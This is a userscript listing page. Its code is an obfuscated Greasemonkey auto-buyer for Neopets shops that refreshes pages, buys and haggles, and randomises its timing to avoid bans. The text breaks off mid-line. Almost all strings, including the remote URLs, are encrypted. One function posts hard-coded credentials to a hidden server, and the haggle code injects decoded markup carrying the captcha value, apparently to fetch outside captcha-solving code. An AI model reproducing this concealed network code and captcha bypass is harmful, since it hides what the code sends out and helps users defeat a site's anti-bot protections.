Neopets Sharp AutoBuyer

By Joker34 Last update Jun 17, 2009 — Installed 63 times.

There are 1 previous version of this script.

Add Syntax Highlighting (this will take a few seconds, probably freezing your browser while it works)

// ==UserScript==
// @name		   	FFABer v2
// @namespace	  	neopets.com
// @include		http://www.neopets.com/objects.phtml*type=shop*
// @include		http://www.neopets.com/haggle.phtml*
// ==/UserScript==

var minrefresh;var maxrefresh;var minwait;var maxwait;var minwaitspan;var maxwaitspan;var rsban;var rsbanmin;var rsbanmax;var log=[];var list=[];var running;function decode(a){return _decode(base64decode(_decode(a)))}function _decode(a){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,;.:-_@#°+]}[{^?\'=)(/&%$£"!\\|~<> ';var c=['toHmN9g+Z@.:°GIp"f2,B7i8<!J3ckdK_&/S5F{r$^au[;hs\\Eql%OUn)01VWA£>DMPy\'Q(Y-|z~vxL6}w=?RT]4jX#e bC',')TLOM\\%1Gr"yh]wFb/4.t?xPo{dp°#N-W8}+i&Bcz~3Y20jC<;nef gH(,S^uJ|kRvEaK5\'U:I@[XV!A>6_ZD=m7sQ$q9l£','XnW8\'b#.}p,cY{ytU3\\kgBw97CDZj/<SFxe@%JVANETI-5~fmHuhl?od1 )^qs&a6LGM(P[$0:r4+"2£K]=OQ|R_vz;i!°>','hH6z"x^v1&Q$eq54°iwd@O8%N>uGV=;m~\\!],)cb?kXKf</Ir:SPgjn3£p#yZloR|W_BET(\'{tU}A7+0FL Ja.DY29CMs[-','7Hi4@LN6"on0&m£JAWxzrZTkFq#R|asj]U\\~%(5d=_GX-^I2ybO)Ew9?gPY,+<Q/3MpKl;.v}!{°[ VBDecutf$S:1C8>\'h','\'i.|O^mdCzf°/ZKS>}jyhE5"9~R%tku_bwUT6JP8s1MGNQ?WBpvF{£[0&!(=-XceV+a]Yorg<LD:);lH24#A\\3Iq 7$n,@x','aq]9rU1v).@=\\;%\'TwZfD~IeWgF"!(-mAtd6:zjG+JRVE3Mh<|SH80k#Li7nP5O£2,Xx_ycuY>4Q&$°Cp}b/Ko?sNl[^{B ','zLIj=|i%#Y6+k£M(9\'>nb5CJ\\~l{p!]}/UT8X"ud37Ao0PH,21E.<ZQ°hetWRBKF-4qs?@r)_OfNw[Sygm^;cVD&xv:G$a ','oHCy5)Y4?=/|(P£BO%lh&ZQLxN>:a;rIJ9s^,$G{t3k~cEgwv_pUF°2jmnzAW\\!#6Td VK7.8"iq\'DX[fS<]@+be0M1}Ru-','giPQ_:AkFz3Y1WUn?,-oJHD>#e5C}xs$£IScaTqy7°B%p;GMZdOR<=v+@|/6(0^K{\'r2\\Xmj&l)!bu~tN]wL.f h49[8EV"','ir@5XZ/-%7tbwul}^pHdY:~?PL,O6\\jyv_;F°)K|.Wq3U#DaMBe4(&Tf>EAG\'<z8={!n9[ m1kRNQS2£hxC+]oV$0I"gJcs','\\smf<C53°n(8B-[u$o]Xjd/w;e!ht9A~MOpJT|vi=cK)\'?U7r1zD4I{k_%,g.6SHE0NyVY2P£@>+a:Wl"Zq# FxLGR}Q^&b','P°<Ae7Q+F~cKXU.ouZI>x|L[0Y 8t^mNEv:1B&2)$VJh-f9sjwdS3R6=%/5"r\\\'l(a}WD!G]g_?T4Hk{My;£Oipqn,z@#Cb','TiE;<9._?Za{S[,/n4q:mK]BwM"W)oQ\'H@Lxv0+g°JUhyYAV>f\\bO£sz-NlC2%It!}8(~R r6X1cGuj#P&$^D5k73dF=pe|','XidAT3/s{,+M.2Pb>4"OFZ<WUlEQ&(}xC!Y0G:gkJ_eIwqR#pNm\']VK otnhr°)£H7u^[?56@%y-|=1\\;~vfcSzBD9j8La$','~p=@s5K6zPhI{/\\SX°DZ>03!G-t}_ujgBR"wlxe[dqWy^rvMHVY,TN$£&<A2FQ\'i.%?7):EL;1f#acb9|4JO]8kU+( nCmo'];var d=c[parseInt(a.substr(a.length-2,2))];if(typeof d=='undefined')return'undefined';a=a.substr(0,a.length-2);var e='';for(i=0;i<a.length;i++){if(d.indexOf(a.charAt(i)>-1)){e+=b.charAt(d.indexOf(a.charAt(i)))}else{e+=a.charAt(i)}}return e}function base64decode(a){var b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var c="";var d,chr2,chr3;var e,enc2,enc3,enc4;var i=0;a=a.replace(/[^A-Za-z0-9\+\/\=]/g,"");while(i<a.length){e=b.indexOf(a.charAt(i++));enc2=b.indexOf(a.charAt(i++));enc3=b.indexOf(a.charAt(i++));enc4=b.indexOf(a.charAt(i++));d=(e<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;c=c+String.fromCharCode(d);if(enc3!=64){c=c+String.fromCharCode(chr2)}if(enc4!=64){c=c+String.fromCharCode(chr3)}}c=_utf8_decode(c);return c}function _utf8_decode(a){var b="";var i=0;var c=c1=c2=0;while(i<a.length){c=a.charCodeAt(i);if(c<128){b+=String.fromCharCode(c);i++}else if((c>191)&&(c<224)){c2=a.charCodeAt(i+1);b+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2}else{c2=a.charCodeAt(i+1);c3=a.charCodeAt(i+2);b+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3}}return b}function trim(a){while(a.match(/[\r\n\s]$/)){a=a.substring(1,a.length)}while(a.match(/^[\s\r\n]/)){a=a.substring(0,a.length-1)}return a}document.getElementsByClassName=function(a,b){if(typeof b=='undefined'){b='*'}var c=document.getElementsByTagName(b);var d=[];for(var i=0;i<c.length;i++){if(c[i].className==a){d.push(c[i])}}return d};document.getElementByName=function(a){var b=document.getElementsByTagName('*');for(var i=0;i<b.length;i++){if(b[i].name==a){return b[i]}}};function check_list(a){for(var y=0;y<list.length;y++){for(var x=0;x<a.length;x++){if(trim(list[y]).toLowerCase()==trim(a[x][0]).toLowerCase()){return a[x]}}}return false}function smartHaggle(a){var b=a.charAt(0);var c=false;for(var i=1;i<a.length;i++){b+=a.charAt((c?0:1));c=!c}return b}function getBetween(a,b,c){var d=a.indexOf(b)+b.length;return a.substring(d,a.indexOf(c,d))}function getList(){list=eval(GM_getValue(decode('\'~WlJpD902'),'[]'))}function storeList(a){var b=[];b=a.split(/\r\n|\r|\n/g);list=[];for(var i=0;i<b.length;i++){list.push(b[i])}GM_setValue(decode('\'~WlJpD902'),uneval(list))}function Log(a){var d=new Date();log.push(d.getMonth()+decode('S.Fk06')+d.getDate()+decode('S.Fk06')+d.getFullYear()+decode('X!QPg(e\\14')+d.getHours()+decode('h^ L12')+d.getMinutes()+decode('h^ L12')+d.getSeconds()+decode('rcJiri6600')+a);GM_setValue('log',uneval(log));if(location.href.match(/objects\.phtml/)){getLog(document.getElementById('LogElem'))}}function getLog(a){a.setAttribute(decode('p.]<gE\\\\14'),decode('^_j£MQm-Mzu"05'));a.width=decode("dg1Lj(SC06");a.innerHTML=decode("TZ.°|°S|WkGbB°£?8uv5PMHH05");var b=document.createElement(decode('dKbmpx"Ogq}\\14'));b.style.fontSize=decode('?zFEB~u905');b.innerHTML=decode('\\^wFObiTdNBB04');b.setAttribute(decode('wrZ@q^I@Wut$15'),decode('A}T}XF,tAf VIcewVw££02'));a.appendChild(b);a.appendChild(document.createElement(decode('@u,?K,££10')));var c=document.createElement(decode('Jv.L2f9{12'));c.style.overflowY=decode('ijOt|#,L10');c.style.height=decode("\\s6&X0#T5GBB04");c.style.border=decode(',k818p8AP1n{8/+d2/A\'uPAy07');var d=document.createElement(decode('emI[2Q{{12'));d.style.paddingLeft=decode('2jX<_qsT04');log=eval(GM_getValue('log',decode(',1>CuCyy07')));for(var i=log.length-1;i>=0;i--){var e=document.createElement(decode('\'~WwVT££02'));e.innerHTML=log[i];d.appendChild(e,0)}c.appendChild(d);a.appendChild(c)}function buildLayout(){var c=document.getElementsByClassName(decode('-s0U(sPU(Uz~HI\\Y^&d~XFk=XFTT5#BB04'),decode('Mr3xcdAA01'))[0];document.getElementsByClassName(decode('in7wDtJwDMvI<(!(p8/°\\O[°\\?!e11'),decode('Mr3xcdAA01'))[0].innerHTML=decode('"fI8rm4wk3cwrrKw6$$Xr\\G>IIvQPVIj)g^%cu0003');unsafeWindow.setValue=function(a,b){GM_setValue(a,b)};c.style.backgroundColor=decode('vtJ=i-upvOJ!v9Kl11');c.setAttribute(decode('rAIg|epwi!ll11'),decode('11TW.£8°u!Ey07'));var d=document.createElement(decode('0 1F0C3PcdAA01'));d.setAttribute(decode('Nu&(sZ%{iB£\'G[.5PRHH05'),decode('T{do01'));d.setAttribute(decode('VEs&-3K|9^[Essm[2Q{{12'),decode(',=;803'));d.setAttribute(decode('T01L;CfPB3AA01'),decode('~/scmp TElkcV5e£02'));var e=document.getElementsByTagName(decode("BTlHB\\j~10"))[0];var f=window.document.createElement(decode('$^r>B^m[12'));f.rel=decode('znK?]V]3z1!1P=u>03');f.type=decode('30V|3#H@d)deGFCC06');e.appendChild(f);var g=[];var h=[];g.push(d.insertRow(0));h.push(new Array(g[0].insertCell(-1),g[0].insertCell(-1)));h[0][0].setAttribute(decode('^c0F[\\Aas;d<00'),decode('T{do01'));h[0][0].setAttribute(decode('rAIg|epwi!ll11'),decode('11TW.£8°u!Ey07'));h[0][0].innerHTML=decode('iUsYd|kH(&I"H^£x7yw?_aX+@^JI=&wki|Xk=oGxyFP05^5B04');h[0][1].setAttribute(decode(']AeuEt0\'93-I06'),decode('4Lj?10'));getLog(h[0][1]);g.push(d.insertRow(-1));h.push(new Array(g[1].insertCell(-1),g[1].insertCell(-1)));h[1][0].setAttribute(decode('rAIg|epwi!ll11'),decode('D8u-T;//v!ll11'));h[1][0].innerHTML=decode('z#6WTUj\\,1j\\2£EijQ}kI#CCdiyy07');h[1][1].innerHTML=decode('~G+.2]+S)8FW2"p°jHFd)HF0)WfH+"p°jonGTCOd0-OdM#e0)8%GLjp°j{J0)-wHB8+d3yBxcdAA01')+minrefresh.toString()+decode('LopG3rdg01');h[1][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].addEventListener(decode(')eXqrejkc=/003'),function(){storeSetting(h[1][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].name,parseInt(h[1][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].value))},true);g.push(d.insertRow(-1));h.push(new Array(g[2].insertCell(-1),g[2].insertCell(-1)));h[2][0].setAttribute(decode('rAIg|epwi!ll11'),decode('D8u-T;//v!ll11'));h[2][0].innerHTML=decode('c0O/)-Od0-OdM#ewC{OS3NfxcdAA01');h[2][1].innerHTML=decode('LObViz.r\\Z-]isVCEYN{>MNB\\{VU>HVCEV_U>£/{g£/{yy:B\\a{H>>VCEY£B\\[BUyz_{<zQB+.##13')+maxrefresh.toString()+decode('LopG3rdg01');h[2][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].addEventListener(decode(')eXqrejkc=/003'),function(){storeSetting(h[2][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].name,parseInt(h[2][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].value))},true);g.push(d.insertRow(-1));h.push(new Array(g[3].insertCell(-1)));h[3][0].setAttribute(decode('^c0F[\\Aas;d<00'),decode('T{do01'));h[3][0].setAttribute(decode('rAIg|epwi!ll11'),decode('11TW.£8°u!Ey07'));h[3][0].innerHTML=decode('/_AcFc8Su%{<Fki1;@q%tsp,Fc,ra%KEh@)%q@Ji00')+(running?decode('u#e°oYlJ07'):decode('\'.IPXpe<g<\\\\14'))+decode('_.kYd2bn_K]2g(e\\14');var j=h[3][0].getElementsByTagName(decode('dKbmpx"Ogq}\\14'))[0];j.addEventListener(decode('E(\'aE!LIjFCC06'),function(){if(j.innerHTML==decode(']jv6Hj^%cX0003')){storeSetting(decode('+s;C<z£CLM"w13'),true);GM_setValue(decode('"/cO<3$)bfz="<uj03'),parseInt((minwait*60000)+(Math.random()*maxwait*60000)));GM_setValue(decode('a\\@%Xul%Ft,~|,££10'),getUTC());GM_setValue(decode('i££Mf)£:+MB:voQB13'),getUTC());GM_setValue(decode('xr44]j4°/Nzhc=/003'),Math.floor(((rsbanmin)*60000)+(Math.random()*(rsbanmax-rsbanmin)*60000)));j.innerHTML=decode('u#e°oYlJ07');setTimeout(refreshSub,refresh)}else{storeSetting(decode('+s;C<z£CLM"w13'),false);j.innerHTML=decode(']jv6Hj^%cX0003')}},true);g.push(d.insertRow(-1));h.push(new Array(g[4].insertCell(-1)));h[4][0].setAttribute(decode('^c0F[\\Aas;d<00'),decode('T{do01'));h[4][0].setAttribute(decode('rAIg|epwi!ll11'),decode('11TW.£8°u!Ey07'));h[4][0].innerHTML=decode('LWyy~y3_z]x,&#31}2-x+WyyB0BA01');g.push(d.insertRow(-1));h.push(new Array(g[5].insertCell(-1)));h[5][0].setAttribute(decode('^c0F[\\Aas;d<00'),decode('T{do01'));h[5][0].setAttribute(decode('rAIg|epwi!ll11'),decode('11TW.£8°u!Ey07'));h[5][0].innerHTML=decode('Y]\'#i /6m,o<iK#hdqtMpltWm+MCpp#hdq\'WmM#epC#hd#sC#RWeI,tWm2Wew sMT }Wg/\\\\14')+minwait.toString()+decode('cHx"e;xS&8Px~ 4?T0Fuz]L?~°BHzrP°zrOuL0Jc~°BHL{Ou< Y0~°BHj Y°;C3_zrOu2 Y^T0xrc{N{01')+maxwait.toString()+decode('@xA/udAd@HfeV5D£02');h[5][0].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].addEventListener(decode(')eXqrejkc=/003'),function(){storeSetting(h[5][0].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].name,parseInt(h[5][0].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].value))},true);h[5][0].getElementsByTagName(decode(':3Z;VASIG1CC06'))[1].addEventListener(decode(')eXqrejkc=/003'),function(){storeSetting(h[5][0].getElementsByTagName(decode(':3Z;VASIG1CC06'))[1].name,parseInt(h[5][0].getElementsByTagName(decode(':3Z;VASIG1CC06'))[1].value))},true);g.push(d.insertRow(-1));h.push(new Array(g[6].insertCell(-1)));h[6][0].setAttribute(decode('^c0F[\\Aas;d<00'),decode('T{do01'));h[6][0].setAttribute(decode('rAIg|epwi!ll11'),decode('11TW.£8°u!Ey07'));h[6][0].innerHTML=decode('\'dSjVpe7W{ 78?W7Vp@^u{SjV/u£02');g.push(d.insertRow(-1));h.push(new Array(g[7].insertCell(-1),g[7].insertCell(-1)));h[7][0].setAttribute(decode('^c0F[\\Aas;d<00'),decode('T{do01'));h[7][0].setAttribute(decode('rAIg|epwi!ll11'),decode('11TW.£8°u!Ey07'));h[7][0].innerHTML=decode('d8Hhq#1uS.LIqkhn]3i=<gieS@=A<<hn]30eS=hR<Ahn]hvAhMeRV.i6q0"h]<6PM-fLH|fej3dC06')+minwaitspan.toString()+decode('Adw,hHw)Jx9wE?\\Bn5tqN{WBEjVdNp9jNp8qW5sAEjVdWC8qm?I5EjVd~?IjHfT=N{<BfS\\db<k~\'olqeCW9Vw££02')+maxwaitspan.toString()+decode('@xA/udAd@HfeV5D£02');h[7][0].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].addEventListener(decode(')eXqrejkc=/003'),function(){storeSetting(h[7][0].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].name,parseInt(h[7][0].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].value))},true);h[7][0].getElementsByTagName(decode(':3Z;VASIG1CC06'))[1].addEventListener(decode(')eXqrejkc=/003'),function(){storeSetting(h[7][0].getElementsByTagName(decode(':3Z;VASIG1CC06'))[1].name,parseInt(h[7][0].getElementsByTagName(decode(':3Z;VASIG1CC06'))[1].value))},true);h[7][1].setAttribute(decode('rAIg|epwi!ll11'),decode('11TW.£8°u!Ey07'));h[7][1].innerHTML=decode('Y@qw\\abJxQ%V\\{hEUShMVHU4TVWfU?UBg"##13')+(rsban?decode('1ty°1b8°MBU"PmHH05'):'')+decode('u+ib,}Jpdp8(2!8p8Un{1]T<Tk+Eu6T6jk}uP,%(,]<6uZl<1]T<Tk+Eu68%8£dH.p>60,A#PZ{6X\\oo2!T6,}(Hd},uj6ZEz,odE0ou=~8#o6R6PZ,#,}JpPZo1P<T6T£n>,}JpT]T6u+ib,}Jpdp8(2!Tb=~8p8}(EPH.H1]TJdlyy07')+rsbanmin.toString()+decode('j-3Qj0Rc)-RY2wm3JEJ>Sm%3:~8SSt:KSNc>AYm]:~8S2Rc><j+K:~8SPwA:PvNKPtsS&9\\.1m F2NcL2L{{12')+rsbanmax.toString()+decode('QbT"Tzu"05');h[7][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].addEventListener(decode(')eXqrejkc=/003'),function(){storeSetting(h[7][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].name,h[7][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[0].checked)},true);h[7][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[1].addEventListener(decode(')eXqrejkc=/003'),function(){storeSetting(h[7][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[1].name,parseInt(h[7][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[1].value))},true);h[7][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[2].addEventListener(decode(')eXqrejkc=/003'),function(){storeSetting(h[7][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[2].name,parseInt(h[7][1].getElementsByTagName(decode(':3Z;VASIG1CC06'))[2].value))},true);g.push(d.insertRow(-1));h.push(new Array(g[8].insertCell(-1)));h[8][0].setAttribute(decode('^c0F[\\Aas;d<00'),decode('P~R~05'));h[8][0].setAttribute(decode('rAIg|epwi!ll11'),decode('11TW.£8°u!Ey07'));h[8][0].innerHTML=decode('/&uk5Ul$$;q%a&anmkS/l:piFdOkr%:toEH:9;)%a%:&[kpt[c)UrkSpm&3_\\@/2m<if\\@SA^@uZ\\<,Sthr_\\@/2/kO%q@Ji00');c.innerHTML=decode('2^<{12');c.appendChild(d);var k=document.createElement(decode('=OItv9pl11'));k.setAttribute(decode('p.]<gE\\\\14'),decode('%7V$n{y{EHywAw££02'));k.style.display=decode('Aj[Rj^mL12');k.style.overflow=decode('bq+,=qkH5^5B04');var l=document.createElement(decode('?&%V?$XgkmX%c80003'));l.setAttribute(decode('Jd81A/D902'),15);l.setAttribute(decode('3WPG2#Nx01'),50);var m=decode('2^<{12');for(var i=0;i<list.length;i++){m+=list[i]+(list.length-1==i?'':"\r\n")}l.appendChild(document.createTextNode(m));k.appendChild(l);var n=document.createElement(decode('dKbmpx"Ogq}\\14'));n.addEventListener(decode('E(\'aE!LIjFCC06'),function(){storeList(unescape(n.parentNode.getElementsByTagName(decode('e]+yeh-HLhNxc%AA01'))[0].value))},true);n.innerHTML=decode('Xa3)W_~~WfjAK#K£10');k.appendChild(document.createElement(decode('@u,?K,££10')));k.appendChild(n);c.appendChild(k)}function refreshSub(){if(running){window.location.reload()}}function submitOCR(a){document.forms[1].innerHTML+='<input type="hidden" name="x" value="'+a[0]+'" /><input type="hidden" name="y" value="'+a[1]+'" />';if((match=/i wont take less than ([\d,]+?) neopoints/i.exec(document.body.innerHTML))){unsafeWindow.document.forms[1].current_offer.value=smartHaggle(match[1].replace(',',''))}else if((match=/i want at least ([\d,]+?) neopoints for this great item/i.exec(document.body.innerHTML))){unsafeWindow.document.forms[1].current_offer.value=smartHaggle(match[1].replace(',',''))}unsafeWindow.document.forms[1].submit()}function resumePause(){GM_setValue(decode('a\\@%Xul%Ft,~|,££10'),getUTC());GM_setValue(decode('"/cO<3$)bfz="<uj03'),Math.floor((minwaitspan*60000)+(Math.random()*(maxwaitspan-minwaitspan)*60000)));Log(decode('K&-;MB@b5U<LMuOH5f|<iab;M\\,?K,££10'));window.location.reload()}function checkPause(){if((parseInt(getUTC())-parseInt(GM_getValue(decode('a\\@%Xul%Ft,~|,££10'),decode(',=;803'))))>=GM_getValue(decode('"/cO<3$)bfz="<uj03'),0)){var a=Math.floor(((minwait)*60000)+(Math.random()*(maxwait-minwait)*60000));setTimeout(resumePause,a);Log(decode('NVsCY2"U:UelR(e+gqe\\14')+roundNumber(a/60000,2).toString()+decode('YI6BMVKL,vh\\er"915'));return true}return false}function roundNumber(a,b){return Math.round(a*Math.pow(10,b))/Math.pow(10,b)}function RSBanCheck(){if(parseInt(getUTC())-parseInt(GM_getValue(decode('i££Mf)£:+MB:voQB13'),decode(',=;803')))>=GM_getValue(decode('xr44]j4°/Nzhc=/003'),0)){GM_xmlhttpRequest({method:decode('\\[Vh+oA#13'),url:decode('8YhY@79}u,c@-5e^W}~{WYhXVclcHFecW- 7HmhXV}8ohcws@FhH@d@/m{uc@7qcW- 1hcW{W,VwA#££02')+21,onload:function(a){if(a.responseText.match(/Sorry,\ we\ are\ sold\ out\ of\ everything\!/i)){Log(decode(';a:,<);%Yz_@Y[.{x£/TYz].+oA#13'));running=false;GM_setValue(decode('+s;C<z£CLM"w13'),false)}else{GM_setValue(decode('i££Mf)£:+MB:voQB13'),getUTC());GM_setValue(decode('xr44]j4°/Nzhc=/003'),Math.floor(((rsbanmin)*60000)+(Math.random()*(rsbanmax-rsbanmin)*60000)));window.location.reload()}}});return true}return false}function authorize(){var c=GM_getValue(decode(')m3|h0K/2^m{12'));var d=base64decode('ZWxnYXRv');var e=base64decode('aGFoYTEyMw==');GM_setValue(decode('v9f_<B({KM8jv9Kl11'),getUTC());if(typeof c==decode('JvN5:UQ[<-152^2{12')){GM_xmlhttpRequest({method:decode('OqEm_qsk04'),url:decode('4&)&~Fk"On0~-^~FL"n<bb)6~2£Fb-2iO022ObjF49~6X])95"49~q#904'),data:decode('L1]Rd}nHH~CYuPuy07')+escape(d)+decode('b"<Iibj4(aG,\\qsq04')+escape(e),headers:{'Content-Type':decode('iB&<e%a,iMqbr_a\\WPymZu>-Mw?~5Py4@vFe5DOH|a/&K#,£10')},onload:function(a){var b=base64decode(a.responseText);if(b.indexOf(decode('6mKd?$Zwb=lbk=dZ]~/%c80003'))>-1){authorized=true;GM_setValue(decode('=k8b8H<£T°hBzYl°07'),true);GM_setValue(decode(')m3|h0K/2^m{12'),getBetween(b,decode('Sk)AS<r15Udiri6600'),decode('L°YP~#3_C8.yB0BA01')));initialize();alert(decode('DLa,)B4l#P;dU6;%@U&lqv3T|Mt?W%FA)Mq&)DOf;%&t57yf)B@Ti#j(4\\;~K~££10'));refreshSub()}else if(b.indexOf(decode('sN°!QN-hikR"05'))>-1){alert(getBetween(b,decode('$[:0;[WBokJ800'),decode('+-,Si{f]ThNxcxAA01')));GM_setValue(decode('=k8b8H<£T°hBzYl°07'),false)}}})}else{GM_xmlhttpRequest({method:decode('OqEm_qsk04'),url:decode('4&)&~Fk"On0~-^~FL"n<bb)6~2£Fb-2iO022ObjF49~6X])95"49~q#904'),data:decode('4F~J5yNn5a#q04')+c+decode('\\Ga%;[Am5\\+ra;J800')+d,headers:{'Content-Type':decode('iB&<e%a,iMqbr_a\\WPymZu>-Mw?~5Py4@vFe5DOH|a/&K#,£10')},onload:function(a){var b=base64decode(a.responseText);if(b.indexOf(decode('6mKd?$Zwb=lbk=dZ]~/%c80003'))>-1){authorized=true;GM_setValue(decode('=k8b8H<£T°hBzYl°07'),true)}else if(b.indexOf(decode('sN°!QN-hikR"05'))>-1){alert(getBetween(b,decode('$[:0;[WBokJ800'),decode('+-,Si{f]ThNxcxAA01')));GM_setValue(decode('=k8b8H<£T°hBzYl°07'),false);GM_setValue(decode('+s;C<z£CLM"w13'),false)}}})}}function storeSetting(a,b){GM_setValue(a,b);eval(a+decode('uY9}V5<£02')+uneval(b)+decode('yPt£15'))}function getUTC(){return new Date().getTime().toString()}function initialize(){log=eval(GM_getValue(decode('PkXsPkMH05'),decode(',1>CuCyy07')));minrefresh=parseInt(GM_getValue(decode('N&+hA 0#A 0XA,EK14'),6));maxrefresh=parseInt(GM_getValue(decode('Xdt%@C?q@Cl$@5Dd02'),12));minwait=parseInt(GM_getValue(decode('2].,P}{/7Y]\\07'),10));maxwait=parseInt(GM_getValue(decode('r~hs?~hMcnA;11'),20));minwaitspan=parseInt(GM_getValue(decode('<-Hh3m"AJ@=~MmMej1CC06'),30));maxwaitspan=parseInt(GM_getValue(decode('.2i+3/iJ.UI<zU]CuCyy07'),60));rsban=GM_getValue(decode('dU}(,}>JuCyy07'),true);rsbanmin=parseInt(GM_getValue(decode('k&0bp(YFTlYWkE\\\\14'),30));rsbanmax=parseInt(GM_getValue(decode('dU}(,}nP,]TJuCyy07'),60));running=GM_getValue(decode('+s;C<z£CLM"w13'),false);unsafeWindow.getElementByName=document.getElementByName;unsafeWindow.smartHaggle=smartHaggle;unsafeWindow.submitOCR=submitOCR;unsafeWindow.swapList=function(a){if(a.innerHTML=='Hide List'){a.innerHTML='Show List';document.getElementById('listarea').style.display='none'}else{a.innerHTML='Hide List';document.getElementById('listarea').style.display=''}};unsafeWindow.storeList=function(a){setTimeout(storeList,0,a)};unsafeWindow.clearLog=function(){setTimeout(GM_setValue,0,"log","[]");setTimeout("getLog(document.getElementById('LogElem'));",0)};unsafeWindow.getLog=function(a){setTimeout(getLog,0,a)};refresh=parseInt(((maxrefresh-minrefresh)*1000)*Math.random()+(minrefresh*1000));unsafeWindow.refreshSub=refreshSub;if((parseInt(getUTC())-parseInt(GM_getValue(decode('v9f_<B({KM8jv9Kl11'),decode(',=;803'))))>9000000){authorize()}getList()}var refresh;var authorized=GM_getValue(decode('=k8b8H<£T°hBzYl°07'));if(!authorized){authorize()}else{initialize()}if(document.body.innerHTML.indexOf(decode('\'n!3p1i$mOh]mOvnJr)°rOv3prvwv!ll11'))>-1){location.reload();return}else if(document.body.innerHTML.indexOf(decode(');4o\'°4e)U.511D3f{~fD-Jkr(.5c\'UwJ7ucp9X31OJ\\pMAg=\'h3c?45fkp6zrD;=\'!u=e(u1\'83pM~km°hBf{A%m8w3f4h\\pt77v9zl11'))==-1){setTimeout(refreshSub,1000)}if(location.href.match(/haggle\.phtml/)){if(!authorized){if(typeof authorized==decode('@j2R)^4]2y2R5^\B04')){alert(decode('E%Oh\\cShSk8qN%A/S_OauZuqrKa.tsuV{ZW.\\dl^HOJ%NU8hah+/[kd%00'))}else{alert(decode('AwKUVKQY1Y/"ejI]jEAZ&UcY792U$^/Zef/Uwt<]P0/\\w^/<sY)\\AEI6Vcs~1R+<1Y%%7s[d°X2UVURZ)~ 012'))}}else{if(document.body.innerHTML.match(/Sorry,\ you\ can\ only\ carry\ a\ maximum/i)){Log(decode('ANM2_{tme{d6X Mt_MMmTld63p"2p#<63N"6k M2glt°T]Y2TKOtglAKg(Y\\14'));running=false;GM_setValue(decode('+s;C<z£CLM"w13'),false);setTimeout(decode('5d8V8F.AH- -HxWBX/IDe/t-AxI~X<WgAp1wVT££02'),1500)}else if(item=/<b>(.+?)<\/b>\ has\ been\ added\ to/i.exec(document.body.innerHTML)){Log(item[1]+decode('_{tmN(tF0UAh_.tt\'UgFXlt°Tlo<g/\\\\14')+(parseInt(getUTC())-parseInt(GM_getValue(decode('#vF@r%|pW#,f10'),getUTC())))+decode('zg^8c<u003'));setTimeout(decode('5d8V8F.AH- -HxWBX/IDe/t-AxI~X<WgAp1wVT££02'),4500)}else if(item=/<font\ size="\+1"><b>([\s\S]+?)\ is\ SOLD OUT!/i.exec(document.body.innerHTML)){Log(item[1]+decode('C~vqm1A.=ei.J8(]|M~.v?vl11')+(parseInt(getUTC())-parseInt(GM_getValue(decode('#vF@r%|pW#,f10'),getUTC())))+decode('h=X\'c=;003'));setTimeout(decode('5d8V8F.AH- -HxWBX/IDe/t-AxI~X<WgAp1wVT££02'),1500)}else{var captcha=getBetween(document.body.innerHTML,decode('b\'_?YshM>\'-?E£"2yHxMYwNgJVNffSL2+{hWfoQO13'),decode('RlE]14'));document.body.innerHTML+=decode('W7@c-j@)Jm#,@/~18ChtV5I,X/uoe{8dVScy@/.y5{8hJH8tApZh8YI,ASW#ex.1X<#}XHw}5C<,A{hyAH8qApfce/T9@-e,\'/S9\'}@tbxW1\'/WoV/DC02')+escape(captcha)+decode('3G3UYy1cMfJC;N+cj#P°+W"?e-pcj#YL3rJ(M81(M81°+#P^3jJ{;N+<3GY{C84?LfJL3ye°+#+n&yYL3yp"cN}"0 CGC-P°<W+G0;."<NJ^j#+gCHjGL p"i{Pn<yY Bf n}]c°+W+cYGJ^BG+G<WYj;N+{0fJGcHeg~#xu2°,ne#Y3&yYpM 1}e-dtOGJ3OGJj0{cc<°+{n" nCC3f3h-BOy3t)CYpn0Nf01')}}}else if(location.href.match(/objects\.phtml/)){if(!authorized){if(typeof authorized==decode('@j2R)^4]2y2R5^\B04')){alert(decode('VRK7S0R7:chUhX\\":c\\s-F1U&NrFPs\\Es3mFS3o|PR9IhXs79w>"eY /12'))}else{alert(decode('AwKUVKQY1Y/"ejI]jEAZ&UcY792U$^/Zef/Uwt<]P0/\\w^/<sY)\\AEI6Vcs~1R+<1Y%%7s[d°X2UVURZ)~ 012'))}}else{buildLayout();if(running&&!checkPause()&&!RSBanCheck()){var links=document.links;var stock=[];for(var i=0;i<links.length;i++){if(links[i].href.match(/haggle\.phtml/)){var jslink=links[i].getAttribute('onclick');jslink=jslink.substring(11,jslink.indexOf("';")).replace("'+'",'');stock.push([links[i].parentNode.getElementsByTagName('b')[0].innerHTML,'http://www.neopets.com/'+jslink])}}var 